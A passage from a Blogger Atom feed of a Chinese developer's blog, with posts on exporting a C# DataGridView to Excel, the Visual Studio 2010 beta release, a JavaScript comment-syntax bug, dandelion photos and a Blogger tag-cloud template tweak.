style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;)&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;tempStr&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;\t&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;tempStr&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+=&lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;dataGridView3&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Rows&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;j&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;].&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Cells&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;k&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;].&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Value&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;sw&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;WriteLine&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;tempStr&lt;/span&gt;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;sw&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Close&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;myStream&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Close&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;catch&lt;/span&gt; (&lt;span style="color:rgb(0,0,0);"&gt;Exception&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;ex&lt;/span&gt;)&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;MessageBox&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Show&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;ex&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;ToString&lt;/span&gt;());&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;finally&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;{&lt;/span&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;sw&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Close&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;myStream&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Close&lt;/span&gt;();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color:rgb(0,0,0);"&gt;MessageBox&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;Show&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;OK&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7569398379557258661?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7569398379557258661/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/05/c-datagridviewexcel.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7569398379557258661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7569398379557258661'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/05/c-datagridviewexcel.html' title='C# 由DataGridView导出到Excel'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3698316710651625810</id><published>2009-05-20T17:26:00.000+08:00</published><updated>2010-08-13T11:22:03.181+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='c# .net'/><title type='text'>Visual Studio 2010和.NET 4.0 Beta 1发布</title><content type='html'>今早看到一则新闻：出处&lt;a href="http://www.infoq.com/cn/news/2009/05/vs2010-beta1"&gt;http://www.infoq.com/cn/news/2009/05/vs2010-beta1&lt;/a&gt;&lt;br/&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:medium;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;line-height:16px;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;div&gt;昨日，Soma在其&lt;a style="text-decoration:underline;color:rgb(11,89,178);" href="http://blogs.msdn.com/somasegar/archive/2009/05/18/visual-studio-2010-and-net-fx-4-beta-1-ships.aspx"&gt;博客&lt;/a&gt;上宣布Visual Studio 2010和.NET 4.0的Beta 1已经可以通过MSDN订阅下载了。&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;过去的几个月里，我们已经初步了解了Visual Studio 2010和.NET 4.0的&lt;a style="text-decoration:underline;color:rgb(11,89,178);" href="http://www.google.cn/search?q=vs+2010+site%3Awww.infoq.com"&gt;一系列新特性&lt;/a&gt;。和上次发布的CTP版本不同，这次的Beta 1是以安装包形式发布的，而非VPC镜像。这样我们就可以自己下载安装，一睹为快了，不过大家最好还是安装到虚拟机中。&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;在Visual Studio 2010的产品站点上，我们可以了解到VS 2010给我们带来的革新：&lt;/div&gt;&lt;br/&gt;&lt;ul&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;加强的用户体验：VS2010带来了新用户界面，让工作更专注。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;便捷的SharePoint开发：对SharePoint开发更完善的支持，让SharePoint开发不再痛苦。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;应用程序生命周期管理（ALM）：把项目角色更紧密地集成到整个应用程序生命周期中。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;更佳的Web应用开发：对JavaScript的加强，Silverlight开发的完整支持，更容易部署。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;云应用程序开发：集成Azure开发包，无缝进行云应用程序的开发。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;数据库支持：对IBM DB2和Oracle更好的支持。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;并行编程：从运行时到IDE都对并行编程提供了很好的支持。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;li&gt;&lt;br/&gt;&lt;div&gt;更高的生产力：代码上下文可帮助理解现存代码，对C++开发体验的提升，Windows 7的支持，Office开发支持的加强。&lt;/div&gt;&lt;br/&gt;&lt;/li&gt;&lt;br/&gt;&lt;/ul&gt;&lt;br/&gt;&lt;div&gt;下面一些有用的链接，可让大家获取更多关于Visual Studio 2010和.NET 4.0的信息：&lt;a style="text-decoration:underline;color:rgb(11,89,178);" target="_blank" href="http://www.microsoft.com/presspass/press/2008/sep08/09-29VS10PR.mspx"&gt;PressPass：Visual Studio 2010公开&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;，&lt;a style="text-decoration:underline;color:rgb(11,89,178);" target="_blank" href="http://www.eweek.com/c/a/Database/Tool-for-Oracle-Database-Developers-to-Support-Microsoft-VSTS-2010"&gt;eWeek：Quest Tool for Oracle Database Developers&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;，&lt;a style="text-decoration:underline;color:rgb(11,89,178);" target="_blank" href="http://www.informationweek.com/news/windows/operatingsystems/showArticle.jhtml?articleID=210604432"&gt;InformationWeek：微软详述了Visual Studio 2010和.NET 4.0&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;，&lt;a style="text-decoration:underline;color:rgb(11,89,178);" target="_blank" href="http://channel9.msdn.com/visualstudio/"&gt;Channel 9：Visual Studio 2010&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;，&lt;a style="text-decoration:underline;color:rgb(11,89,178);" target="_blank" href="http://twitter.onoj.net/"&gt;来自Jono Wells的Twitter更新&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;。&lt;br/&gt;&lt;br/&gt;我开始接触.net是&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:medium;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;line-height:16px;" class="Apple-style-span"&gt;Visual Studio 2003和.net1.1，不由感叹技术更新之快，之后微软出了很多新名词：WPF、WCF、&lt;/span&gt;&lt;/span&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:medium;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;line-height:16px;" class="Apple-style-span"&gt;Silverlight、Linq等等，真是抓瞎了，学不过来，现在都2010了&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3698316710651625810?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3698316710651625810/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/05/visual-studio-2010net-40-beta-1.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3698316710651625810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3698316710651625810'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/05/visual-studio-2010net-40-beta-1.html' title='Visual Studio 2010和.NET 4.0 Beta 1发布'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7268656950483729534</id><published>2009-04-24T02:02:00.000+08:00</published><updated>2010-08-13T11:22:03.191+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>javascript 缺少对象</title><content type='html'>&lt;span&gt;经常遇到&lt;span style="font-size:13px;white-space:pre;" class="Apple-style-span"&gt;javascript 缺少对象的错误，无外乎调用的js方法未定义，名字写错了，之类，今儿遇到的郁闷的&lt;/span&gt;&lt;br/&gt;&lt;span style="font-size:13px;white-space:pre;" class="Apple-style-span"&gt;我在页面中加了一个注释  &amp;lt;!-- -- &amp;gt;，注意结束标签--和&amp;gt;之间有个空格，结果未起作用，结果可想而知，找了半天才找到&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7268656950483729534?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7268656950483729534/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/javascript_24.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7268656950483729534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7268656950483729534'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/javascript_24.html' title='javascript 缺少对象'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5808656026322946383</id><published>2009-04-24T02:00:00.000+08:00</published><updated>2010-08-13T11:22:03.204+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='图片'/><title type='text'>蒲公英dandelion flower</title><content type='html'>&lt;div class="post-header-line-1"&gt;&lt;span class="post-author vcard"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;span&gt; &lt;a href="http://liuspring.files.wordpress.com/2009/04/img_0219.jpg"&gt;&lt;img border="0" style="display:block;text-align:center;cursor:pointer;width:400px;height:300px;margin:0 auto 10px;" src="http://liuspring.files.wordpress.com/2009/04/img_0219.jpg?w=300" /&gt;&lt;/a&gt;&lt;br/&gt;&lt;a href="http://liuspring.files.wordpress.com/2009/04/img_0220.jpg"&gt;&lt;img border="0" style="display:block;text-align:center;cursor:pointer;width:400px;height:300px;margin:0 auto 10px;" src="http://liuspring.files.wordpress.com/2009/04/img_0220.jpg?w=300" /&gt;&lt;/a&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5808656026322946383?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5808656026322946383/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/dandelion-flower_24.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5808656026322946383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5808656026322946383'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/dandelion-flower_24.html' title='蒲公英dandelion flower'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7672587160347288027</id><published>2009-04-24T01:59:00.000+08:00</published><updated>2010-08-13T11:22:03.570+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blogger'/><title type='text'>将blogger原有标签label widget改成标签云形式</title><content type='html'>&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="color:rgb(51,68,85);font-size:13px;line-height:18px;" class="Apple-style-span"&gt;&lt;span style="color:rgb(0,0,0);font-style:normal;font-variant:normal;letter-spacing:normal;orphans:2;text-indent:0;white-space:normal;widows:2;word-spacing:0;margin:0;padding:0;" class="Apple-style-span"&gt;通过简单修改，将blogger原有标签widget改成标签云形式&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;修改html模板&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;找到&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&amp;lt;b:loop values='data:labels' var='label'&amp;gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;..........&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&amp;lt;/b:loop&amp;gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;将&lt;/span&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-weight:normal;letter-spacing:normal;orphans:2;text-indent:0;white-space:normal;widows:2;margin:0;padding:0;" class="Apple- style-span"&gt;&amp;lt;b:loop&amp;gt;标签之间的内容改成：&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;div style="background-color:rgb(249,247,237);margin:0;padding:0;"&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;div style="color:rgb(0,0,0);background-color:rgb(249,247,237);margin:0;padding:0;" class="source"&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;b:if&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;cond=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'data:blog.url == data:label.url'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;span&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;expr:dir=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'data:blog.languageDirection'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;font&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;expr:size=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'data:label.count'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;gt;&amp;lt;data:label&lt;/span&gt;&lt;span style="color:rgb(166,23,23);background-color:rgb(227,210,210);margin:0;padding:0;"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;name&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;/&amp;gt;&amp;lt;/font&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;b:else/&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;a&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;expr:dir=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'data:blog.languageDirection'&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;expr:href=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'data:label.url'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;font&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;expr:size=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'data:label.count'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;gt;&amp;lt;data:label&lt;/span&gt;&lt;span style="color:rgb(166,23,23);background-color:rgb(227,210,210);margin:0;padding:0;"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;name&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;/&amp;gt;&amp;lt;/font&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;/b:if&amp;gt;&lt;/span&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;span&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;dir=&lt;/span&gt;&lt;span style="color:rgb(0,0,255);margin:0;padding:0;"&gt;'ltr'&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;gt;&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;data:label&lt;/span&gt;&lt;span style="color:rgb(166,23,23);background-color:rgb(227,210,210);margin:0;padding:0;"&gt;.&lt;/span&gt;&lt;span style="color:rgb(255,0,0);margin:0;padding:0;"&gt;count&lt;/span&gt;&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;/&amp;gt;&lt;/span&gt;)&lt;span style="color:rgb(0,0,128);font-weight:bold;margin:0;padding:0;"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;&lt;br style="margin:0;padding:0;" 